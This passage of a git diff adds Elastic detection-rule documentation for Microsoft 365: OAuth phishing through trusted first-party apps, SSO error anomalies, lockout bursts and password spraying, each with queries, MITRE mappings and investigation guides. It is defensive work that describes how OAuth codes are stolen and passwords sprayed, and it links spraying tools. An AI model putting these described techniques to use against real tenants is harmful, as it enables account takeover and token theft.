require reauthentication for affected users. + - Notify end-users and IT of the potential exposure. + - Activate your phishing or OAuth abuse response playbook. + +- **Prevent future misuse**: + - Enable the https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/configure-admin-consent-workflow[Admin consent workflow] to restrict user-granted consent. + - Audit and reduce overprivileged applications in your environment. + - Consider using Defender for Cloud Apps OAuth app governance. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" + and o365.audit.Actor.Type: 5 + and event.action: "Consent to application." + and event.outcome: "success" + and o365.audit.Target.Type: (0 or 2 or 3 or 9 or 10) + and o365.audit.UserId: * + and o365.audit.ObjectId: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc new file mode 100644 index 0000000000..a2b1bf829f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-21-m365-identity-oauth-phishing-via-first-party-microsoft-application]] +=== M365 Identity OAuth Phishing via First-Party Microsoft Application + +Detects potentially suspicious OAuth authorization activity in Microsoft 365 where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-25m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://pushsecurity.com/blog/consentfix +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Phishing via First-Party Microsoft Application* + + +This rule detects OAuth authorization activity where FOCI (Family of Client IDs) applications access Microsoft Graph or legacy Azure AD resources. Adversaries exploit these trusted first-party apps in phishing campaigns like ConsentFix to steal authorization codes and exchange them for tokens from attacker infrastructure. The rule specifically looks for `OAuth2:Authorize` requests with `Redirect` status, which indicates the user was redirected after authorization and the OAuth code was exposed. + +The rule uses split detection logic: developer tools (Azure CLI, VSCode, PowerShell) accessing either Graph or legacy AAD are flagged, while any FOCI app accessing legacy AAD is flagged since this deprecated API is rarely used legitimately and attackers target it for stealth. + + +*Possible investigation steps* + + +- Review `o365.audit.UserId` to identify the impacted account and validate whether the user expected to authorize the application. +- Check `o365.audit.ActorIpAddress` for unexpected IPs, especially outside corporate ranges or from proxy/VPN networks. +- Examine `user_agent.original` and `o365.audit.DeviceProperties` for suspicious patterns (automation tools, headless browsers, unusual browser/OS combinations). +- Confirm `o365.audit.Target.ID` to identify the resource being accessed. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users. +- Review `o365.audit.ExtendedProperties.RequestType` and `ResultStatusDetail` - `OAuth2:Authorize` with `Redirect` indicates the OAuth code was exposed to the user. +- Look for subsequent `OAuth2:Token` events from different IPs using the same `o365.audit.UserId`, which indicates token exchange from attacker infrastructure. +- Pivot to `azure.graphactivitylogs` to check for follow-up Graph API activity (mailbox enumeration, file access) from unfamiliar locations. +- Correlate with `azure.signinlogs` for additional sign-in context and device details. + + +*False positive analysis* + + +- Developers or IT users intentionally using Visual Studio Code, Azure CLI, or Azure PowerShell to connect to Microsoft 365. +- Legitimate VS Code extensions that sync or query Graph API data (calendars, tasks, cloud-hosted notebooks). +- Enterprise automation or CI/CD pipelines using these tools with user-delegated permissions. +- Exclude known user agents and hosts that regularly use these applications against Graph. +- Whitelist specific source IPs or devices tied to developer machines. + + +*Response and remediation* + + +- Contact the user to confirm if they expected this login or may have shared an OAuth code via phishing page, Signal, or WhatsApp. +- If unauthorized, revoke all refresh tokens for the user and reset credentials. +- Review recent Microsoft Graph activity (email, file access, Teams) for signs of data exfiltration. +- Block or restrict future use of OAuth tokens from unknown apps or IPs via Conditional Access. +- Check `azure.auditlogs` for device registration events and remove any unauthorized registrations. +- Educate users about OAuth phishing techniques and the risks of sharing authorization codes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" + and event.action: "UserLoggedIn" + and o365.audit.ExtendedProperties.RequestType: "OAuth2:Authorize" + and o365.audit.ExtendedProperties.ResultStatusDetail: "Redirect" + and o365.audit.UserType: ("0" or "2" or "3" or "5" or "6" or "10") + and ( + ( + o365.audit.ApplicationId: ( + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "1950a258-227b-4e31-a9cf-717495945fc2" + ) + and o365.audit.Target.ID: ( + "00000003-0000-0000-c000-000000000000" or + "00000002-0000-0000-c000-000000000000" + ) + ) or + ( + o365.audit.ApplicationId: ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "844cca35-0656-46ce-b636-13f48b0eecbd" or + "87749df4-7ccf-48f8-aa87-704bad0e0e16" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "57336123-6e14-4acc-8dcf-287b6088aa28" or + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or + "66375f6b-983f-4c2c-9701-d680650f588f" or + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a569458c-7f2b-45cb-bab9-b7dee514d112" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "eb539595-3fe1-474e-9c1d-feb3625d1be5" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "be1918be-3fe3-4be9-b32b-b542fc27f02e" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) + and o365.audit.Target.ID: "00000002-0000-0000-c000-000000000000" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc new file mode 100644 index 0000000000..b1213e6d72 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-unusual-sso-authentication-errors-for-user.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-21-m365-identity-unusual-sso-authentication-errors-for-user]] +=== M365 Identity Unusual SSO Authentication Errors for User + +Identifies the first occurrence of SSO, SAML, or federated authentication errors for a user. These errors may indicate token manipulation, SAML assertion tampering, or OAuth phishing attempts. Modern adversaries often target SSO mechanisms through token theft, SAML response manipulation, or exploiting federated authentication weaknesses rather than traditional brute force attacks. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://techcommunity.microsoft.com/blog/microsoft-entra-blog/understanding-and-mitigating-golden-saml-attacks/4418864 +* https://www.semperis.com/blog/meet-silver-saml/ + +*Tags*: + +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Unusual SSO Authentication Errors for User* + + +SSO, SAML, and federated authentication mechanisms are critical infrastructure for modern identity access. Adversaries increasingly +target these systems through token manipulation, SAML response tampering, OAuth phishing, and exploitation of federated trust +relationships rather than traditional credential brute forcing. This detection identifies when a user experiences SSO-related +authentication errors that are unusual for their typical behavior, which may indicate an attacker attempting to abuse stolen tokens or manipulate +authentication flows. + + +*Possible investigation steps* + + +- Review the specific error code(s) in the `o365.audit.ErrorNumber` field to understand the nature of the authentication failure + (e.g., token signature failure, SAML assertion tampering, cross-tenant token misuse). Reference Microsoft's AADSTS error codes + at https://login.microsoftonline.com/error?code= for detailed descriptions. +- Examine the source IP address and geolocation of the authentication attempt - compare against the user's typical login patterns. +- Check for concurrent authentication activity from the same user - multiple SSO errors alongside successful logins may indicate + token replay or session hijacking attempts. +- Investigate recent OAuth application consent activity for this user - OAuth phishing campaigns often precede SSO manipulation attempts. +- Review the target application or service principal being accessed during the failed authentication to identify potential attacker objectives. +- Analyze the user's recent mailbox activity, particularly for phishing emails with OAuth consent links or suspicious authentication requests. +- Check for any recent changes to the user's federation settings, registered devices, or authentication methods. +- Correlate with Entra ID risky sign-in detections and risky user alerts for the same account. + + +*False positive analysis* + + +- First-time SSO setup: Users configuring SSO access to a new federated application may encounter initial authentication errors. + Validate whether the errors occurred during expected onboarding windows. +- Federation service outages: Widespread SSO errors affecting multiple users simultaneously often indicate infrastructure issues + rather than targeted attacks. Check for service health incidents in the same timeframe. +- Certificate rotation: Federated authentication certificate renewals can temporarily cause signature validation errors. Verify + if the errors align with planned certificate maintenance. +- Legitimate cross-tenant access: Users with business relationships across multiple tenants may encounter cross-tenant policy + errors during authorized access attempts. + + +*Response and remediation* + + +- If token manipulation or SAML tampering is suspected, immediately revoke all active sessions and refresh tokens for the affected user. +- Review and audit all OAuth application consents granted by the user - remove any suspicious or unrecognized applications. +- Enable Conditional Access policies requiring compliant devices and MFA for SSO authentication if not already enforced. +- If cross-tenant token misuse is detected, review and restrict external collaboration settings and cross-tenant access policies. +- For SAML assertion or signature errors, validate the integrity of federation trust certificates and metadata. +- Investigate whether the user's credentials have been compromised - enforce password reset if credential theft is suspected. +- Review Entra ID audit logs for unusual application registrations, service principal modifications, or federation setting changes. +- Escalate to the security operations team if evidence suggests active token theft, SAML Golden Ticket techniques, or OAuth phishing campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit + and event.provider:AzureActiveDirectory + and event.category:authentication + and o365.audit.ErrorNumber:( + 20001 or 20012 or 20033 or 40008 or 40009 or 40015 or + 50006 or 50008 or 50012 or 50013 or 50027 or 50048 or + 50099 or 50132 or 75005 or 75008 or 75011 or 75016 or + 81004 or 81009 or 81010 or 399284 or 500212 or 500213 or + 700005 or 5000819 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Forge Web Credentials +** ID: T1606 +** Reference URL: https://attack.mitre.org/techniques/T1606/ +* Sub-technique: +** Name: SAML Tokens +** ID: T1606.002 +** Reference URL: https://attack.mitre.org/techniques/T1606/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-user-account-lockouts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-user-account-lockouts.asciidoc new file mode 100644 index 0000000000..ea9da63185 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-user-account-lockouts.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-21-m365-identity-user-account-lockouts]] +=== M365 Identity User Account Lockouts + +Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/ +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Identity User Account Lockouts* + + +Detects a burst of Microsoft 365 user account lockouts within a short 5-minute window. A high number of IdsLocked login errors across multiple user accounts may indicate brute-force attempts for the same users resulting in lockouts. + +This rule uses ESQL aggregations and thus has dynamically generated fields. Correlation of the values in the alert document may need to be performed to the original sign-in and Graph events for further context. + + +*Investigation Steps* + + +- Review the `user_id_list`: Are specific naming patterns targeted (e.g., admin, helpdesk)? +- Examine `ip_list` and `source_orgs`: Look for suspicious ISPs or hosting providers. +- Check `duration_seconds`: A very short window with a high lockout rate often indicates automation. +- Confirm lockout policy thresholds with IAM or Entra ID admins. Did the policy trigger correctly? +- Use the `first_seen` and `last_seen` values to pivot into related authentication or audit logs. +- Correlate with any recent detection of password spraying or credential stuffing activity. +- Review the `request_type` field to identify which authentication methods were used (e.g., OAuth, SAML, etc.). +- Check for any successful logins from the same IP or ASN after the lockouts. + + +*False Positive Analysis* + + +- Automated systems with stale credentials may cause repeated failed logins. +- Legitimate bulk provisioning or scripted tests could unintentionally cause account lockouts. +- Red team exercises or penetration tests may resemble the same lockout pattern. +- Some organizations may have a high volume of lockouts due to user behavior or legacy systems. + + +*Response Recommendations* + + +- Notify affected users and confirm whether activity was expected or suspicious. +- Lock or reset credentials for impacted accounts. +- Block the source IP(s) or ASN temporarily using conditional access or firewall rules. +- Strengthen lockout and retry delay policies if necessary. +- Review the originating application(s) involved via `request_types`. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* +| mv_expand event.category +| eval + Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp) +| where + data_stream.dataset == "o365.audit" and + event.category == "authentication" and + event.provider in ("AzureActiveDirectory", "Exchange") and + event.action in ("UserLoginFailed", "PasswordLogonInitialAuthUsingPassword") and + to_lower(o365.audit.ExtendedProperties.RequestType) rlike "(oauth.*||.*login.*)" and + o365.audit.LogonError == "IdsLocked" and + to_lower(o365.audit.UserId) != "not available" and + o365.audit.Target.Type in ("0", "2", "6", "10") and + source.`as`.organization.name != "MICROSOFT-CORP-MSN-as-BLOCK" +| stats + Esql_priv.o365_audit_UserId_count_distinct = count_distinct(to_lower(o365.audit.UserId)), + Esql_priv.o365_audit_UserId_values = values(to_lower(o365.audit.UserId)), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.o365_audit_ExtendedProperties_RequestType_values = values(to_lower(o365.audit.ExtendedProperties.RequestType)), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_count = count(*) + by Esql.time_window_date_trunc +| eval + Esql.event_duration_seconds = date_diff("seconds", Esql.timestamp_first_seen, Esql.timestamp_last_seen) +| keep + Esql.time_window_date_trunc, + Esql_priv.o365_audit_UserId_count_distinct, + Esql_priv.o365_audit_UserId_values, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_as_organization_name_count_distinct, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.o365_audit_ExtendedProperties_RequestType_values, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen, + Esql.event_count, + Esql.event_duration_seconds +| where + Esql_priv.o365_audit_UserId_count_distinct >= 10 and + Esql.event_count >= 10 and + Esql.event_duration_seconds <= 300 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-user-brute-force-attempted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-user-brute-force-attempted.asciidoc new file mode 100644 index 0000000000..39793c4896 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-identity-user-brute-force-attempted.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-21-m365-identity-user-brute-force-attempted]] +=== M365 Identity User Brute Force Attempted + +Identifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/ +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 418 + +*Rule authors*: + +* Elastic +* Willem D'Haese +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Identity User Brute Force Attempted* + + +Identifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords. + + +*Possible investigation steps* + + +- Review `user_id_list`: Enumerates the user accounts targeted. Look for naming patterns or privilege levels (e.g., admins). +- Check `login_errors`: A consistent error such as `"InvalidUserNameOrPassword"` confirms a spray-style attack using one or a few passwords. +- Examine `ip_list` and `source_orgs`: Determine if the traffic originates from a known corporate VPN, datacenter, or suspicious ASN like hosting providers or anonymizers. +- Review `countries` and `unique_country_count`: Geographic anomalies (e.g., login attempts from unexpected regions) may indicate malicious automation. +- Validate `total_attempts` vs `duration_seconds`: A high frequency of login attempts over a short period may suggest automation rather than manual logins. +- Cross-reference with successful logins: Pivot to surrounding sign-in logs (`azure.signinlogs`) or risk detections (`identityprotection`) for any account that eventually succeeded. +- Check for multi-factor challenges or bypasses: Determine if any of the accounts were protected or if the attack bypassed MFA. + + +*False positive analysis* + + +- IT administrators using automation tools (e.g., PowerShell) during account provisioning may trigger false positives if login attempts cluster. +- Penetration testing or red team simulations may resemble spray activity. +- Infrequent, low-volume login testing tools like ADFS testing scripts can exhibit similar patterns. + + +*Response and remediation* + + +- Initiate an internal incident ticket and inform the affected identity/IT team. +- Temporarily disable impacted user accounts if compromise is suspected. +- Investigate whether any login attempts succeeded after the spray window. +- Block the offending IPs or ASN temporarily via firewall or conditional access policies. +- Rotate passwords for all targeted accounts and audit for password reuse. +- Enforce or verify MFA is enabled for all user accounts. +- Consider deploying account lockout or progressive delay mechanisms if not already enabled. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* +| mv_expand event.category +| eval + Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp), + Esql_priv.o365_audit_UserId_lower = to_lower(o365.audit.UserId), + Esql.o365_audit_LogonError = o365.audit.LogonError, + Esql.o365_audit_ExtendedProperties_RequestType_lower = to_lower(o365.audit.ExtendedProperties.RequestType) +| where + data_stream.dataset == "o365.audit" and + event.category == "authentication" and + event.provider in ("AzureActiveDirectory", "Exchange") and + event.action in ("UserLoginFailed", "PasswordLogonInitialAuthUsingPassword") and + Esql.o365_audit_ExtendedProperties_RequestType_lower rlike "(oauth.*||.*login.*)" and + Esql.o365_audit_LogonError != "IdsLocked" and + Esql.o365_audit_LogonError not in ( + "EntitlementGrantsNotFound", + "UserStrongAuthEnrollmentRequired", + "UserStrongAuthClientAuthNRequired", + "InvalidReplyTo", + "SsoArtifactExpiredDueToConditionalAccess", + "PasswordResetRegistrationRequiredInterrupt", + "SsoUserAccountNotFoundInResourceTenant", + "UserStrongAuthExpired", + "CmsiInterrupt" + ) and + Esql_priv.o365_audit_UserId_lower != "not available" and + o365.audit.Target.Type in ("0", "2", "6", "10") +| stats + Esql.o365_audit_UserId_lower_count_distinct = count_distinct(Esql_priv.o365_audit_UserId_lower), + Esql_priv.o365_audit_UserId_lower_values = values(Esql_priv.o365_audit_UserId_lower), + Esql.o365_audit_LogonError_values = values(Esql.o365_audit_LogonError), + Esql.o365_audit_LogonError_count_distinct = count_distinct(Esql.o365_audit_LogonError), + Esql.o365_audit_ExtendedProperties_RequestType_values = values(Esql.o365_audit_ExtendedProperties_RequestType_lower), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_count = count(*) + by Esql.time_window_date_trunc +| eval + Esql.event_duration_seconds = date_diff("seconds", Esql.timestamp_first_seen, Esql.timestamp_last_seen), + Esql.brute_force_type = case( + Esql.o365_audit_UserId_lower_count_distinct >= 15 and Esql.o365_audit_LogonError_count_distinct == 1 and Esql.event_count >= 10 and Esql.event_duration_seconds <= 1800, "password_spraying", + Esql.o365_audit_UserId_lower_count_distinct >= 8 and Esql.event_count >= 15 and Esql.o365_audit_LogonError_count_distinct <= 3 and Esql.source_ip_count_distinct <= 5 and Esql.event_duration_seconds <= 600, "credential_stuffing", + Esql.o365_audit_UserId_lower_count_distinct == 1 and Esql.o365_audit_LogonError_count_distinct == 1 and Esql.event_count >= 20 and Esql.event_duration_seconds <= 300, "password_guessing", + "other" + ) +| keep + Esql.time_window_date_trunc, + Esql.o365_audit_UserId_lower_count_distinct, + Esql_priv.o365_audit_UserId_lower_values, + Esql.o365_audit_LogonError_values, + Esql.o365_audit_LogonError_count_distinct, + Esql.o365_audit_ExtendedProperties_RequestType_values, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.source_as_organization_name_count_distinct, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen, + Esql.event_duration_seconds, + Esql.event_count, + Esql.brute_force_type +| where Esql.brute_force_type != "other" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-onedrive-malware-file-upload.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-onedrive-malware-file-upload.asciidoc new file mode 100644 index 0000000000..fbea0a3e50 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-onedrive-malware-file-upload.asciidoc @@ -0,0 +1,128 